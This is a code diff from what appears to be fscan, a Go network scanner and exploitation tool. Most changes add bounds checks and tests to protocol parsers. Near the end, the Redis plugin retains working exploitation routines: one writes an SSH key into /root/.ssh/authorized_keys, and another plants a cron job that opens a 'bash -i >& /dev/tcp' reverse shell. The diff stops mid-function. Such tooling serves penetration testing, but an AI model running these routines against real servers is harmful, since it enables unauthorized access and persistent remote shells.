a/plugins/services/mssql_raw_test.go b/plugins/services/mssql_raw_test.go index d49c930..e404b28 100644 --- a/plugins/services/mssql_raw_test.go +++ b/plugins/services/mssql_raw_test.go @@ -37,3 +37,27 @@ func TestMSSQLLogin7DoesNotExposeClientIdentity(t *testing.T) { } } } + +func TestMSSQLReadMessageRejectsOversizedMultipartMessage(t *testing.T) { + var packet bytes.Buffer + remaining := maxTDSMessageSize + 1 + for remaining > 0 { + chunkLen := remaining + if chunkLen > 65527 { + chunkLen = 65527 + } + remaining -= chunkLen + status := byte(0) + if remaining == 0 { + status = tdsStatusEOM + } + header := []byte{tdsPacketReply, status, 0, 0, 0, 0, 1, 0} + binary.BigEndian.PutUint16(header[2:4], uint16(chunkLen+8)) + packet.Write(header) + packet.Write(bytes.Repeat([]byte{0x41}, chunkLen)) + } + + if _, _, err := mssqlReadMessage(&packet); err == nil { + t.Fatal("mssqlReadMessage() error = nil, want oversized message error") + } +} diff --git a/plugins/services/mysql.go b/plugins/services/mysql.go index d0546b4..6b97adb 100644 --- a/plugins/services/mysql.go +++ b/plugins/services/mysql.go @@ -6,9 +6,11 @@ import ( "context" "database/sql" "fmt" + "io" "log" "net" "strconv" + "strings" "time" "github.com/go-sql-driver/mysql" @@ -77,8 +79,14 @@ func (p *MySQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi // doMySQLAuth 执行MySQL认证 func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - connStr := fmt.Sprintf("%s:%s@tcp(%s)/information_schema?charset=utf8&timeout=%ds", - cred.Username, cred.Password, net.JoinHostPort(info.Host, strconv.Itoa(info.Port)), int64(config.Timeout.Seconds())) + connStr, err := mySQLConnString(cred.Username, cred.Password, info, config.Timeout) + if err != nil { + return &AuthResult{ + Success: false, + ErrorType: ErrorTypeAuth, + Error: err, + } + } db, err := sql.Open("mysql", connStr) if err != nil { @@ -115,6 +123,21 @@ func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cr } } +func mySQLConnString(username, password string, info *common.HostInfo, timeout time.Duration) (string, error) { + if strings.ContainsAny(username, ":@/") { + return "", fmt.Errorf("mysql username contains unsupported DSN delimiter") + } + cfg := mysql.NewConfig() + cfg.User = username + cfg.Passwd = password + cfg.Net = "tcp" + cfg.Addr = net.JoinHostPort(info.Host, strconv.Itoa(info.Port)) + cfg.DBName = "information_schema" + cfg.Params = map[string]string{"charset": "utf8"} + cfg.Timeout = timeout + return cfg.FormatDSN(), nil +} + // classifyMySQLErrorType MySQL错误分类 func classifyMySQLErrorType(err error) ErrorType { if err == nil { @@ -173,28 +196,32 @@ func (p *MySQLPlugin) identifyService(ctx context.Context, info *common.HostInfo func (p *MySQLPlugin) readMySQLBanner(conn net.Conn, config *common.Config) string { _ = conn.SetReadDeadline(time.Now().Add(config.Timeout)) - handshake := make([]byte, 256) - n, err := conn.Read(handshake) - if err != nil || n < 10 { + header := make([]byte, 5) + if _, err := io.ReadFull(conn, header); err != nil { return "" } - if handshake[4] != 10 { + if header[4] != 10 { return "" } - versionStart := 5 - versionEnd := versionStart - for versionEnd < n && handshake[versionEnd] != 0 { - versionEnd++ + version := make([]byte, 0, 64) + var b [1]byte + for len(version) < 250 { + if _, err := io.ReadFull(conn, b[:]); err != nil { + return "" + } + if b[0] == 0 { + break + } + version = append(version, b[0]) } - if versionEnd <= versionStart { + if len(version) == 0 { return "" } - versionStr := string(handshake[versionStart:versionEnd]) - return fmt.Sprintf("MySQL %s", versionStr) + return fmt.Sprintf("MySQL %s", string(version)) } func init() { diff --git a/plugins/services/mysql_test.go b/plugins/services/mysql_test.go new file mode 100644 index 0000000..2a22d03 --- /dev/null +++ b/plugins/services/mysql_test.go @@ -0,0 +1,87 @@ +//go:build plugin_mysql || !plugin_selective + +package services + +import ( + "io" + "net" + "strings" + "testing" + "time" + + "github.com/go-sql-driver/mysql" + "github.com/shadow1ng/fscan/common" +) + +type chunkedMySQLConn struct { + data []byte + chunkSize int +} + +func (c *chunkedMySQLConn) Read(p []byte) (int, error) { + if len(c.data) == 0 { + return 0, io.EOF + } + n := len(c.data) + if c.chunkSize > 0 && n > c.chunkSize { + n = c.chunkSize + } + if n > len(p) { + n = len(p) + } + copy(p, c.data[:n]) + c.data = c.data[n:] + return n, nil +} + +func (c *chunkedMySQLConn) Write([]byte) (int, error) { return 0, nil } +func (c *chunkedMySQLConn) Close() error { return nil } +func (c *chunkedMySQLConn) LocalAddr() net.Addr { return nil } +func (c *chunkedMySQLConn) RemoteAddr() net.Addr { return nil } +func (c *chunkedMySQLConn) SetDeadline(time.Time) error { return nil } +func (c *chunkedMySQLConn) SetReadDeadline(time.Time) error { return nil } +func (c *chunkedMySQLConn) SetWriteDeadline(time.Time) error { + return nil +} + +func TestReadMySQLBannerHandlesChunkedHandshake(t *testing.T) { + data := []byte{0x2a, 0x00, 0x00, 0x00, 0x0a} + data = append(data, []byte("8.0.36\x00")...) + got := NewMySQLPlugin().readMySQLBanner(&chunkedMySQLConn{data: data, chunkSize: 1}, &common.Config{Timeout: time.Second}) + if got != "MySQL 8.0.36" { + t.Fatalf("readMySQLBanner() = %q, want MySQL 8.0.36", got) + } +} + +func TestMySQLConnStringEscapesCredentialsAndIPv6(t *testing.T) { + info := &common.HostInfo{Host: "2001:db8::1", Port: 3306} + got, err := mySQLConnString("user", "pa:ss@/word", info, 3*time.Second) + if err != nil { + t.Fatalf("mySQLConnString() error = %v", err) + } + + for _, want := range []string{ + "user:pa:ss@/word@tcp([2001:db8::1]:3306)/information_schema", + "charset=utf8", + "timeout=3s", + } { + if !strings.Contains(got, want) { + t.Fatalf("mySQLConnString() = %q, missing %q", got, want) + } + } + + cfg, err := mysql.ParseDSN(got) + if err != nil { + t.Fatalf("mysql.ParseDSN() error = %v", err) + } + if cfg.User != "user" || cfg.Passwd != "pa:ss@/word" || cfg.Addr != "[2001:db8::1]:3306" { + t.Fatalf("parsed DSN user/pass/addr = %q/%q/%q", cfg.User, cfg.Passwd, cfg.Addr) + } +} + +func TestMySQLConnStringRejectsUnsupportedUsernameDelimiters(t *testing.T) { + info := &common.HostInfo{Host: "127.0.0.1", Port: 3306} + if _, err := mySQLConnString("user:name", "pass", info, time.Second); err == nil { + t.Fatal("mySQLConnString() error = nil, want unsupported delimiter error") + } +} diff --git a/plugins/services/neo4j.go b/plugins/services/neo4j.go index 4fab360..38c5748 100644 --- a/plugins/services/neo4j.go +++ b/plugins/services/neo4j.go @@ -5,7 +5,6 @@ package services import ( "context" "fmt" - "io" "net/http" "strings" @@ -163,7 +162,7 @@ func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H defer func() { _ = resp.Body.Close() }() if resp.StatusCode == 200 { - body, err := io.ReadAll(resp.Body) + body, err := readServiceHTTPBody(resp.Body) if err != nil { return &ScanResult{ Success: false, @@ -221,7 +220,7 @@ func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo if serverHeader != "" && strings.Contains(strings.ToLower(serverHeader), "neo4j") { banner = "Neo4j" } else if resp.StatusCode == 200 || resp.StatusCode == 401 { - body, err := io.ReadAll(resp.Body) + body, err := readServiceHTTPBody(resp.Body) if err != nil { return &ScanResult{ Success: false, diff --git a/plugins/services/neo4j_test.go b/plugins/services/neo4j_test.go index 0ad6a9f..33807eb 100644 --- a/plugins/services/neo4j_test.go +++ b/plugins/services/neo4j_test.go @@ -1,39 +1,14 @@ +//go:build plugin_neo4j || !plugin_selective + package services import ( "context" - "net" "net/http" "net/http/httptest" - "net/url" - "strconv" "testing" - - "github.com/shadow1ng/fscan/common" ) -func testSession() *common.ScanSession { - cfg := common.NewConfig() - return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) -} - -func hostInfoFromServer(t *testing.T, server *httptest.Server) *common.HostInfo { - t.Helper() - u, err := url.Parse(server.URL) - if err != nil { - t.Fatalf("Parse server URL error = %v", err) - } - host, portText, err := net.SplitHostPort(u.Host) - if err != nil { - t.Fatalf("SplitHostPort error = %v", err) - } - port, err := strconv.Atoi(portText) - if err != nil { - t.Fatalf("Atoi port error = %v", err) - } - return &common.HostInfo{Host: host, Port: port} -} - func TestNeo4jIdentifyRejectsGenericHTTP(t *testing.T) { server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { _, _ = w.Write([]byte("plain http service")) diff --git a/plugins/services/netbios.go b/plugins/services/netbios.go index f509152..886a29b 100644 --- a/plugins/services/netbios.go +++ b/plugins/services/netbios.go @@ -5,6 +5,7 @@ package services import ( "bytes" "context" + "encoding/binary" "fmt" "net" "strings" @@ -360,13 +361,13 @@ func (p *NetBIOSPlugin) parseNetBIOSSession(data []byte) (*NetBIOSInfo, error) { // parseNTLMInfo 解析NTLM信息 func (p *NetBIOSPlugin) parseNTLMInfo(data []byte, info *NetBIOSInfo) { - if len(data) < 45 { + if len(data) < 48 { return } // 获取Target Info偏移和长度 targetInfoLength := int(data[40]) + int(data[41])*256 - targetInfoOffset := int(data[44]) + targetInfoOffset := int(binary.LittleEndian.Uint32(data[44:48])) if targetInfoOffset+targetInfoLength > len(data) { return diff --git a/plugins/services/netbios_test.go b/plugins/services/netbios_test.go new file mode 100644 index 0000000..5b0fbc6 --- /dev/null +++ b/plugins/services/netbios_test.go @@ -0,0 +1,40 @@ +//go:build plugin_netbios || !plugin_selective + +package services + +import ( + "encoding/binary" + "testing" + "unicode/utf16" +) + +func TestParseNTLMInfoUsesFullTargetInfoOffset(t *testing.T) { + p := NewNetBIOSPlugin() + info := &NetBIOSInfo{} + + targetInfo := appendNTLMAVPair(nil, 0x0003, "HOST.example.local") + targetInfo = append(targetInfo, 0x00, 0x00, 0x00, 0x00) + + const targetOffset = 300 + data := make([]byte, targetOffset+len(targetInfo)) + copy(data, "NTLMSSP\x00") + binary.LittleEndian.PutUint16(data[40:42], uint16(len(targetInfo))) + binary.LittleEndian.PutUint32(data[44:48], targetOffset) + copy(data[targetOffset:], targetInfo) + + p.parseNTLMInfo(data, info) + if info.ComputerName != "HOST.example.local" { + t.Fatalf("ComputerName = %q, want HOST.example.local", info.ComputerName) + } +} + +func appendNTLMAVPair(dst []byte, id uint16, value string) []byte { + encoded := utf16.Encode([]rune(value)) + buf := make([]byte, 4+len(encoded)*2) + binary.LittleEndian.PutUint16(buf[0:2], id) + binary.LittleEndian.PutUint16(buf[2:4], uint16(len(encoded)*2)) + for i, r := range encoded { + binary.LittleEndian.PutUint16(buf[4+i*2:6+i*2], r) + } + return append(dst, buf...) +} diff --git a/plugins/services/nfs.go b/plugins/services/nfs.go index a9a72e4..47fd901 100644 --- a/plugins/services/nfs.go +++ b/plugins/services/nfs.go @@ -6,6 +6,7 @@ import ( "context" "encoding/binary" "fmt" + "io" "time" "github.com/shadow1ng/fscan/common" @@ -88,13 +89,11 @@ func (p *NFSPlugin) rpcNullCall(conn interface { return err } - buf := make([]byte, 512) - n, err := conn.Read(buf) - if err != nil || n < 28 { + reply, err := readRPCFragment(conn, 512) + if err != nil || len(reply) < 24 { return fmt.Errorf("short response") } - reply := buf[4:n] replyXID := binary.BigEndian.Uint32(reply[0:4]) if replyXID != xid { return fmt.Errorf("xid mismatch") @@ -119,15 +118,10 @@ func (p *NFSPlugin) getExports(conn interface { return nil, err } - // Read fragment header (4 bytes) + response - buf := make([]byte, 4096) - n, err := conn.Read(buf) - if err != nil || n < 28 { - return nil, fmt.Errorf("short response: %d bytes", n) + reply, err := readRPCFragment(conn, 4096) + if err != nil { + return nil, err } - - // Skip fragment header (4 bytes), parse RPC reply - reply := buf[4:n] if len(reply) < 24 { return nil, fmt.Errorf("invalid reply") } @@ -152,7 +146,16 @@ func (p *NFSPlugin) getExports(conn interface { } // verifier flavor + length verifierLen := binary.BigEndian.Uint32(reply[offset+4 : offset+8]) + if verifierLen > uint32(len(reply)-offset-8) { + return nil, fmt.Errorf("truncated verifier") + } offset += 8 + int(verifierLen) + if pad := (4 - verifierLen%4) % 4; pad > 0 { + if int(pad) > len(reply)-offset { + return nil, fmt.Errorf("truncated verifier padding") + } + offset += int(pad) + } // Accept status if offset+4 > len(reply) { @@ -201,8 +204,15 @@ func (p *NFSPlugin) parseExportList(data []byte) []string { break } groupLen := binary.BigEndian.Uint32(data[offset : offset+4]) - offset += 4 + int(groupLen) + offset += 4 + if groupLen > uint32(len(data)-offset) { + break + } + offset += int(groupLen) if pad := (4 - groupLen%4) % 4; pad > 0 { + if int(pad) > len(data)-offset { + break + } offset += int(pad) } } @@ -210,6 +220,24 @@ func (p *NFSPlugin) parseExportList(data []byte) []string { return exports } +func readRPCFragment(conn interface { + Read([]byte) (int, error) +}, maxPayload int) ([]byte, error) { + var header [4]byte + if _, err := io.ReadFull(conn, header[:]); err != nil { + return nil, fmt.Errorf("short fragment header: %w", err) + } + size := int(binary.BigEndian.Uint32(header[:]) & 0x7fffffff) + if size <= 0 || size > maxPayload { + return nil, fmt.Errorf("invalid fragment size: %d", size) + } + payload := make([]byte, size) + if _, err := io.ReadFull(conn, payload); err != nil { + return nil, fmt.Errorf("short fragment payload: %w", err) + } + return payload, nil +} + func (p *NFSPlugin) buildRPCCall(xid, program, version, procedure uint32, data []byte) []byte { authNone := []byte{0, 0, 0, 0, 0, 0, 0, 0} // AUTH_NONE flavor=0, len=0 diff --git a/plugins/services/nfs_test.go b/plugins/services/nfs_test.go new file mode 100644 index 0000000..0646f58 --- /dev/null +++ b/plugins/services/nfs_test.go @@ -0,0 +1,101 @@ +//go:build plugin_nfs || !plugin_selective + +package services + +import ( + "bytes" + "encoding/binary" + "io" + "testing" +) + +type nfsTestConn struct { + data []byte + chunkSize int + w bytes.Buffer +} + +func (c *nfsTestConn) Read(p []byte) (int, error) { + if len(c.data) == 0 { + return 0, io.EOF + } + n := len(c.data) + if c.chunkSize > 0 && n > c.chunkSize { + n = c.chunkSize + } + if n > len(p) { + n = len(p) + } + copy(p, c.data[:n]) + c.data = c.data[n:] + return n, nil +} + +func (c *nfsTestConn) Write(p []byte) (int, error) { return c.w.Write(p) } + +func TestNFSRPCNullCallHandlesFragmentedReads(t *testing.T) { + p := NewNFSPlugin() + xid := uint32(0x12340000 + 100003) + reply := make([]byte, 24) + binary.BigEndian.PutUint32(reply[0:4], xid) + binary.BigEndian.PutUint32(reply[4:8], 1) + + if err := p.rpcNullCall(&nfsTestConn{data: wrapNFSReply(reply), chunkSize: 2}, 100003, 3); err != nil { + t.Fatalf("rpcNullCall() error = %v", err) + } +} + +func TestNFSGetExportsHandlesVerifierPadding(t *testing.T) { + p := NewNFSPlugin() + var reply []byte + reply = binary.BigEndian.AppendUint32(reply, 0x12345678) // xid + reply = binary.BigEndian.AppendUint32(reply, 1) // reply + reply = binary.BigEndian.AppendUint32(reply, 0) // accepted + reply = binary.BigEndian.AppendUint32(reply, 0) // verifier flavor + reply = binary.BigEndian.AppendUint32(reply, 3) // verifier length + reply = append(reply, 'a', 'b', 'c', 0) // padded verifier + reply = binary.BigEndian.AppendUint32(reply, 0) // accept success + reply = binary.BigEndian.AppendUint32(reply, 1) // export follows + reply = binary.BigEndian.AppendUint32(reply, 2) // path length + reply = append(reply, '/', 'x', 0, 0) // padded path + reply = binary.BigEndian.AppendUint32(reply, 0) // no groups + reply = binary.BigEndian.AppendUint32(reply, 0) // no more exports + + exports, err := p.getExports(&nfsTestConn{data: wrapNFSReply(reply), chunkSize: 3}) + if err != nil { + t.Fatalf("getExports() error = %v", err) + } + if len(exports) != 1 || exports[0] != "/x" { + t.Fatalf("exports = %#v, want [/x]", exports) + } +} + +func TestNFSReadRPCFragmentRejectsInvalidSize(t *testing.T) { + header := make([]byte, 4) + binary.BigEndian.PutUint32(header, 0x80000000) + if _, err := readRPCFragment(&nfsTestConn{data: header}, 4096); err == nil { + t.Fatal("readRPCFragment() error = nil, want invalid zero-size fragment error") + } +} + +func TestNFSParseExportListStopsOnTruncatedGroup(t *testing.T) { + p := NewNFSPlugin() + var data []byte + data = binary.BigEndian.AppendUint32(data, 1) + data = binary.BigEndian.AppendUint32(data, 2) + data = append(data, '/', 'x', 0, 0) + data = binary.BigEndian.AppendUint32(data, 1) + data = binary.BigEndian.AppendUint32(data, 100) + + exports := p.parseExportList(data) + if len(exports) != 1 || exports[0] != "/x" { + t.Fatalf("exports = %#v, want [/x]", exports) + } +} + +func wrapNFSReply(payload []byte) []byte { + out := make([]byte, 4+len(payload)) + binary.BigEndian.PutUint32(out[:4], uint32(len(payload))|0x80000000) + copy(out[4:], payload) + return out +} diff --git a/plugins/services/pop3.go b/plugins/services/pop3.go index 5206be5..02c251d 100644 --- a/plugins/services/pop3.go +++ b/plugins/services/pop3.go @@ -87,6 +87,9 @@ func (p *POP3Plugin) tryLogin(ctx context.Context, info *common.HostInfo, cred p if _, err := reader.ReadString('\n'); err != nil { return nil } + if err := rejectLineBreaks(cred.Username, cred.Password); err != nil { + return nil + } if _, err := fmt.Fprintf(conn, "USER %s\r\n", cred.Username); err != nil { return nil diff --git a/plugins/services/postgresql.go b/plugins/services/postgresql.go index 5cc2c46..467a47e 100644 --- a/plugins/services/postgresql.go +++ b/plugins/services/postgresql.go @@ -207,9 +207,7 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com } vulInfo := i18n.Tr("postgresql_trust_unauth_version", version) - if len(vulInfo) > 100 { - vulInfo = vulInfo[:100] + "..." - } + vulInfo = truncateRunes(vulInfo, 100) return &ScanResult{ Type: plugins.ResultTypeVuln, diff --git a/plugins/services/postgresql_test.go b/plugins/services/postgresql_test.go index b07be52..1bbeec6 100644 --- a/plugins/services/postgresql_test.go +++ b/plugins/services/postgresql_test.go @@ -1,3 +1,5 @@ +//go:build plugin_postgresql || !plugin_selective + package services import ( @@ -21,3 +23,10 @@ func TestPostgreSQLConnStringEscapesIPv6AndCredentials(t *testing.T) { } } } + +func TestPostgreSQLVulnInfoTruncatesByRune(t *testing.T) { + got := truncateRunes(strings.Repeat("界", 105), 100) + if len([]rune(got)) != 103 || !strings.HasSuffix(got, "...") { + t.Fatalf("postgresql truncation helper = %q", got) + } +} diff --git a/plugins/services/protocol_ids_test.go b/plugins/services/protocol_ids_test.go index f344c76..a967e2f 100644 --- a/plugins/services/protocol_ids_test.go +++ b/plugins/services/protocol_ids_test.go @@ -1,3 +1,5 @@ +//go:build !plugin_selective || (plugin_mongodb && plugin_kafka && plugin_cassandra) + package services import ( diff --git a/plugins/services/rabbitmq.go b/plugins/services/rabbitmq.go index 34cefcf..a413698 100644 --- a/plugins/services/rabbitmq.go +++ b/plugins/services/rabbitmq.go @@ -228,24 +228,39 @@ func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.Host return nil } - buffer := make([]byte, 32) - n, err := conn.Read(buffer) - if err != nil || n < 4 { + ok, err := readRabbitMQAMQPResponse(conn) + if err != nil || !ok { return nil } - if string(buffer[:4]) == "AMQP" || (n >= 8 && buffer[0] == 0x01) { - banner := "RabbitMQ AMQP" - session.LogSuccess(i18n.Tr("rabbitmq_service", target, banner)) - return &ScanResult{ - Type: plugins.ResultTypeService, - Success: true, - Service: "rabbitmq", - Banner: banner, - } + banner := "RabbitMQ AMQP" + session.LogSuccess(i18n.Tr("rabbitmq_service", target, banner)) + return &ScanResult{ + Type: plugins.ResultTypeService, + Success: true, + Service: "rabbitmq", + Banner: banner, } +} - return nil +func readRabbitMQAMQPResponse(conn interface { + Read([]byte) (int, error) +}) (bool, error) { + header := make([]byte, 4) + if _, err := io.ReadFull(conn, header); err != nil { + return false, err + } + if string(header) == "AMQP" { + return true, nil + } + if header[0] != 0x01 { + return false, nil + } + rest := make([]byte, 4) + if _, err := io.ReadFull(conn, rest); err != nil { + return false, err + } + return true, nil } func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { @@ -287,7 +302,7 @@ func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *comm defer func() { _ = resp.Body.Close() }() if resp.StatusCode == 200 || resp.StatusCode == 401 { - body, err := io.ReadAll(resp.Body) + body, err := readServiceHTTPBody(resp.Body) if err != nil { return &ScanResult{ Success: false, diff --git a/plugins/services/rabbitmq_test.go b/plugins/services/rabbitmq_test.go index 5697929..8610264 100644 --- a/plugins/services/rabbitmq_test.go +++ b/plugins/services/rabbitmq_test.go @@ -1,7 +1,11 @@ +//go:build plugin_rabbitmq || !plugin_selective + package services import ( + "bytes" "context" + "io" "net/http" "net/http/httptest" "testing" @@ -18,3 +22,41 @@ func TestRabbitMQManagementRejectsGenericHTTP(t *testing.T) { t.Fatalf("testManagementInterface reported generic HTTP as RabbitMQ: %#v", result) } } + +func TestReadRabbitMQAMQPResponseHandlesChunkedReads(t *testing.T) { + ok, err := readRabbitMQAMQPResponse(&chunkedByteReader{data: []byte("AMQP"), chunkSize: 1}) + if err != nil || !ok { + t.Fatalf("readRabbitMQAMQPResponse(AMQP) = %v, %v", ok, err) + } + + ok, err = readRabbitMQAMQPResponse(&chunkedByteReader{data: []byte{0x01, 0, 0, 0, 0, 0, 0, 0}, chunkSize: 2}) + if err != nil || !ok { + t.Fatalf("readRabbitMQAMQPResponse(frame) = %v, %v", ok, err) + } + + ok, err = readRabbitMQAMQPResponse(bytes.NewReader([]byte{0x01, 0, 0})) + if err == nil || ok { + t.Fatalf("readRabbitMQAMQPResponse(short) = %v, %v; want short read error", ok, err) + } +} + +type chunkedByteReader struct { + data []byte + chunkSize int +} + +func (r *chunkedByteReader) Read(p []byte) (int, error) { + if len(r.data) == 0 { + return 0, io.EOF + } + n := len(r.data) + if r.chunkSize > 0 && n > r.chunkSize { + n = r.chunkSize + } + if n > len(p) { + n = len(p) + } + copy(p, r.data[:n]) + r.data = r.data[n:] + return n, nil +} diff --git a/plugins/services/redis.go b/plugins/services/redis.go index 839400a..9836621 100644 --- a/plugins/services/redis.go +++ b/plugins/services/redis.go @@ -23,6 +23,8 @@ type RedisPlugin struct { plugins.BasePlugin } +const maxRedisReplyBytes = 1 << 20 + // NewRedisPlugin 创建Redis插件 func NewRedisPlugin() *RedisPlugin { return &RedisPlugin{ @@ -98,10 +100,8 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr // 如果有密码,进行认证 if cred.Password != "" { - authCmd := fmt.Sprintf("AUTH %s\r\n", cred.Password) - _ = conn.SetWriteDeadline(time.Now().Add(timeout)) - if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil { + if _, writeErr := conn.Write(buildRedisAuthCommand(cred.Password)); writeErr != nil { _ = conn.Close() return &AuthResult{ Success: false, @@ -232,9 +232,8 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host // 如果有密码,先认证 if password != "" { - authCmd := fmt.Sprintf("AUTH %s\r\n", password) _ = conn.SetWriteDeadline(time.Now().Add(session.Config.Timeout)) - if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil { + if _, writeErr := conn.Write(buildRedisAuthCommand(password)); writeErr != nil { return } _ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout)) @@ -399,7 +398,7 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n func (p *RedisPlugin) readReply(conn net.Conn) (string, error) { _ = conn.SetReadDeadline(time.Now().Add(time.Second)) - bytes, err := io.ReadAll(conn) + bytes, err := io.ReadAll(io.LimitReader(conn, maxRedisReplyBytes)) if len(bytes) > 0 { err = nil } @@ -408,8 +407,8 @@ func (p *RedisPlugin) readReply(conn net.Conn) (string, error) { // sendCmd 发送Redis命令并检查OK响应 // 返回响应文本、是否成功、错误 -func (p *RedisPlugin) sendCmd(conn net.Conn, cmd string) (text string, ok bool, err error) { - if _, err = conn.Write([]byte(cmd)); err != nil { +func (p *RedisPlugin) sendCmd(conn net.Conn, cmd []byte) (text string, ok bool, err error) { + if _, err = conn.Write(cmd); err != nil { return "", false, err } text, err = p.readReply(conn) @@ -420,7 +419,7 @@ func (p *RedisPlugin) sendCmd(conn net.Conn, cmd string) (text string, ok bool, } func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, err error) { - if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil { + if _, err = conn.Write(buildRedisCommand("CONFIG", "GET", "dbfilename")); err != nil { return } text, err := p.readReply(conn) @@ -435,7 +434,7 @@ func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, e dbfilename = text1[0] } - if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil { + if _, err = conn.Write(buildRedisCommand("CONFIG", "GET", "dir")); err != nil { return } text, err = p.readReply(conn) @@ -463,14 +462,14 @@ func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, e } func (p *RedisPlugin) recoverDB(dbfilename string, dir string, conn net.Conn) (err error) { - if _, err = fmt.Fprintf(conn, "CONFIG SET dbfilename %s\r\n", dbfilename); err != nil { + if _, err = conn.Write(buildRedisCommand("CONFIG", "SET", "dbfilename", dbfilename)); err != nil { return } if _, err = p.readReply(conn); err != nil { return } - if _, err = fmt.Fprintf(conn, "CONFIG SET dir %s\r\n", dir); err != nil { + if _, err = conn.Write(buildRedisCommand("CONFIG", "SET", "dir", dir)); err != nil { return } if _, err = p.readReply(conn); err != nil { @@ -499,27 +498,25 @@ func (p *RedisPlugin) readFile(filename string) (string, error) { func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) { // 设置目录 - text, ok, err := p.sendCmd(conn, fmt.Sprintf("CONFIG SET dir %s\r\n", dirPath)) + text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", dirPath)) if err != nil || !ok { return false, p.truncateText(text), err } // 设置文件名 - text, ok, err = p.sendCmd(conn, fmt.Sprintf("CONFIG SET dbfilename %s\r\n", fileName)) + text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", fileName)) if err != nil || !ok { return false, p.truncateText(text), err } // 写入内容 - safeContent := strings.ReplaceAll(content, "\"", "\\\"") - safeContent = strings.ReplaceAll(safeContent, "\n", "\\n") - text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"%s\"\r\n", safeContent)) + text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "x", content)) if err != nil || !ok { return false, p.truncateText(text), err } // 保存 - text, ok, err = p.sendCmd(conn, "save\r\n") + text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE")) if err != nil || !ok { return false, p.truncateText(text), err } @@ -530,21 +527,18 @@ func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content // truncateText 截断文本到50字符 func (p *RedisPlugin) truncateText(text string) string { text = strings.TrimSpace(text) - if len(text) > 50 { - return text[:50] - } - return text + return truncateRunes(text, 50) } func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text string, err error) { // 设置目录 - text, ok, err := p.sendCmd(conn, "CONFIG SET dir /root/.ssh/\r\n") + text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/root/.ssh/")) if err != nil || !ok { return false, p.truncateText(text), err } // 设置文件名 - text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename authorized_keys\r\n") + text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", "authorized_keys")) if err != nil || !ok { return false, p.truncateText(text), err } @@ -559,13 +553,13 @@ func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text } // 写入密钥 - text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)) + text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "x", "\n\n\n"+key+"\n\n\n")) if err != nil || !ok { return false, p.truncateText(text), err } // 保存 - text, ok, err = p.sendCmd(conn, "save\r\n") + text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE")) if err != nil || !ok { return false, p.truncateText(text), err } @@ -575,20 +569,20 @@ func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text string, err error) { // 尝试设置cron目录(两个可能的路径) - text, ok, err := p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/crontabs/\r\n") + text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/var/spool/cron/crontabs/")) if err != nil { return false, p.truncateText(text), err } if !ok { // 尝试备用路径 - text, ok, err = p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/\r\n") + text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/var/spool/cron/")) if err != nil || !ok { return false, p.truncateText(text), err } } // 设置文件名 - text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename root\r\n") + text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", "root")) if err != nil || !ok { return false, p.truncateText(text), err } @@ -605,14 +599,14 @@ func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text str } // 写入cron任务 - cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort) - text, ok, err = p.sendCmd(conn, cronCmd) + cronContent := fmt.Sprintf("\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\n", scanIp, scanPort) + text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "xx", cronContent)) if err != nil || !ok { return false, p.truncateText(text), err } // 保存 - text, ok, err = p.sendCmd(conn, "save\r\n") + text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE")) if err != nil || !ok { return false, 